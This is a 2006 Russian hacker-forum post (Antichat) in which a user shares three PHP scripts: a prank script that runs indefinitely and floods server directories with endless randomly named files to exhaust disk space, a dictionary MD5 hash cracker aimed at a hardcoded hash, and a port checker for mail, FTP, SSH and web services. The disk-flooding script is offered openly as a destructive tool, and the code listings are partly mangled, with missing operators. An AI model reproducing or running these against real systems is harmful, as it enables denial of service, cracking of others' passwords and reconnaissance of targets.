Показать сообщение отдельно

  #2  
Старый 02.11.2006, 17:36
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Сегодня понадобилось засрать все папки файлами (Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
PHP код:
<?php
// Greetz всем заподлянщикам...
//Аминь...
//(C) Dr.Check
////////////////////////////////////////////////////////////////
set_time_limit(0);
ignore_user_abort();
echo(
"<center><b>ИБО НЕХУЙ!!!</b></center>");
/////////////////////////////////////////////////////////////////
    
$name = array('a','b','c','d','e','f','g','h','i','j','k',  'l','m','n','o','p','r','s',
                 
't','u','v','x','y','z','A','B','C','D','E','F','G  ','H','I','J','K','L',
                 
'M','N','O','P','R','S','T','U','V','X','Y','Z','1  ','2','3','4','5','6',
                 
'7','8','9','0');
//////////////////////////////////////////////////////////////////
    
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                    
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                    
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true) {
    
$perem "";
    
$fuck="";
    for(
$i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
    
{
     
$by rand(0count($name) - 1);
     
$perem .= $name[$by];
    }
    
$rarand(0count($rash)-1);
    
$fuck .= $rash[$ra];
         
$fp=fopen($perem.$fuck,"w");
        
fwrite($fp,php_uname());
        
fclose($fp);
        }
?>
P.S (вот так вроде правильней(для твоего скрипта)
PHP код:
$dir=opendir(".");
 while (
false !== ($file readdir($dir))) {
   if((
$file !=".") && ($file !="..")) { 
Хотя одно и тоже...
Хм, какой-то простенький md5 брут
PHP код:
 <?
function pass_dict ($hash)
{
 
//вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта
 
$start_time microtime();
 
$start_array explode(" ",$start_time);
 
$start_time $start_array[1] + $start_array[0];

 
//открываем файл словаря из стандартного дистрибутива линукса
 
$f fopen("linux.words","r") or die("ошибка");
 while (!
feof($f))
 {
  
$str strtolower(fgets($f));
  
//удаляем лишние пробелы и символы конца строки
  
$str trim($str);
  
$strmd5 md5($str);
  if (
$strmd5 == $hash)
   
$pass $str;

  if (isset(
$pass))
   {
    echo 
"password = ".$pass;
    
$end_time microtime();
    
$end_array explode(" ",$end_time);
    
$end_time $end_array[1] + $end_array[0];
    
$time $end_time $start_time;
    echo 
"<br><center>Найдено за $time секунд!</center>";
    
fclose($f);
    return;
   }
  }

 
$end_time microtime();
 
$end_array explode(" ",$end_time);
 
$end_time $end_array[1] + $end_array[0];
 
$time $end_time $start_time;
 echo 
"<br><center>Не найдено за $time секунд!</center>";
 
fclose($f);
 return;
}
pass_dict("e206a54e97690cce50cc872dd70ee896");
?>
Скрипт проверяет на наличий сервисов POP, FTP и т.д
PHP код:
<html>
<head>
<title>::CHECKER::</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<body bgcolor="#000000" text="#ffffff">
<hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr>
<tr><td><form action="<? $PHP_SELF ?>" method="post">
<b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<button onclick=location.reload(true)>Обновить</button></td></tr></table>
<hr width="30%"></hr>
<?php
error_reporting
(0);
set_time_limit(0);
$domain=$_POST['domain'];
$ip=gethostbyname($domain);
$httpport "80";
$ftpport "21";
$popport "110";
$imapport "143";
$smtpport "25";
$sshport "22";
echo 
"<b>"; echo("IP адрес хоста: "); echo "</b>";
echo 
"<font color=\"red\">"; echo($ip); echo "</font>"
?>
<table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr>
<tr><td><font color="#999999"><b>HTTP --> </b></font>
<?php
 $http 
fsockopen($domain$httpport$errno$errstr$timeout);
 if (!
$http)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?></td></tr>
<tr><td><font color="#999999"><b>FTP --> </b></font>
      <?php
 $ftp 
fsockopen($domain$ftpport$errno$errstr$timeout);
 if (!
$ftp)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?></td></tr>
<tr><td><font color="#999999"><b>POP --> </b></font>
<?php
 $pop 
fsockopen($domain$popport$errno$errstr$timeout);
 if (!
$pop)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><font color="#999999"><b>IMAP --> </b></font>
<?php
 $imap 
fsockopen($domain$imapport$errno$errstr$timeout);
 if (!
$imap)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><font color="#999999"><b>SMTP --> </b></font>
<?php
 $smtp 
fsockopen($domain$smtpport$errno$errstr$timeout);
 if (!
$smtp)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><b><font color="#999999">SSH --> </font></b>
<?php
 $ssh 
fsockopen($domain$sshport$errno$errstr$timeout);
 if (!
$ssh)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr></table><hr width="30%"></hr></center>
</body>
</head>
</html>

Последний раз редактировалось Dr.Check; 07.11.2006 в 02:20..
 
Ответить с цитированием